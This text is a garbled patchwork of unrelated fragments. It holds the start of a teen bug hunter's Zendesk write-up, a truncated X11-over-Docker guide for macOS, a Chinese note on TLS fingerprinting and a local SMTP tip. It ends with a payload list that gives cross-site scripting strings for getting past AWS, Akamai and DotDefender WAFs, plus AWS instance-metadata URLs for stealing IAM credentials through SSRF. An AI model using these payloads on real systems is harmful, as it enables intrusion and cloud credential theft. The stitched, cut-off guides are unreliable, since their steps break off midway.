2h0ng superboy-zjc

hi, i'm daniel. i'm a 15-year-old with some programming experience and i do a little bug hunting in my free time. here's the insane story of how I found a single bug that affected over half of all Fortune 500 companies:

say hello to zendesk

If you've spent some time online, you’ve probably come across Zendesk.

Zendesk is a customer service tool used by some of the world’s top companies. It’s easy to set up: you link it to your company’s support email (like [email protected]), and Zendesk starts managing incoming emails and creating tickets. You can handle these tickets yourself or have a support team do it for you. Zendesk is a billion-dollar company, trusted by big names like Cloudflare.

Personally, I’ve always found it surprising that these massive companies, worth billions, rely on third-party tools like Zendesk instead of building their own in-house ticketing systems.

your weakest link

X11 forwarding on macOS and docker

A quick guide on how to setup X11 forwarding on macOS when using docker containers requiring a DISPLAY. Works on both Intel and M1 macs!

This guide was tested on:

macOS Catalina 10.15.4
docker desktop 2.2.0.5 (43884) - stable release
XQuartz 2.7.11 (xorg-server 1.18.4)
Macbook Pro (Intel)

调查目的：了解当前各基于TLS的协议方案中ClientHello的指纹独特性。理论背景见 https://arxiv.org/abs/1607.01639 。

指纹数据库：

naiveproxy v78.0.3904.70-4

（利益相关：我是这个的作者）

To forward X11 from inside a docker container to a host running macOS

Install XQuartz: https://www.xquartz.org/
Launch XQuartz. Under the XQuartz menu, select Preferences
Go to the security tab and ensure "Allow connections from network clients" is checked.
Run xhost + ${hostname} to allow connections to the macOS host *
Setup a HOSTNAME env var export HOSTNAME=`hostname`*
Add the following to your docker-compose:

 environment:

Setup a Local Only SMTP Email Server (Linux, Unix, Mac)

1 - Point localhost.com to your machine

Most of programs will not accept an email using just @localhost as domain. So, edit /etc/hosts file to make the domain localhost.com point to your machine, including this content to the file:

127.0.0.1 localhost.com

	@vanshitmalhotra \| Bypass AWS WAF -//
	Add "<!" (without quotes) before your payload and bypass that WAF. :)
	eg: <!<script>confirm(1)</script>

	@black0x00mamba \| Bypass WAF Akamaighost & filtered onload, onclick, href, src, onerror, script, etc
	<img sr%00c=x o%00nerror=((pro%00mpt(1)))>

	DotDefender WAF bypass by @0xInfection
	<bleh/ondragstart=&Tab;parent&Tab;['open']&Tab;()%20draggable=True>dragme

	## AWS
	# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories

	http://169.254.169.254/latest/user-data
	http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/ami-id
	http://169.254.169.254/latest/meta-data/reservation-id
	http://169.254.169.254/latest/meta-data/hostname
	http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key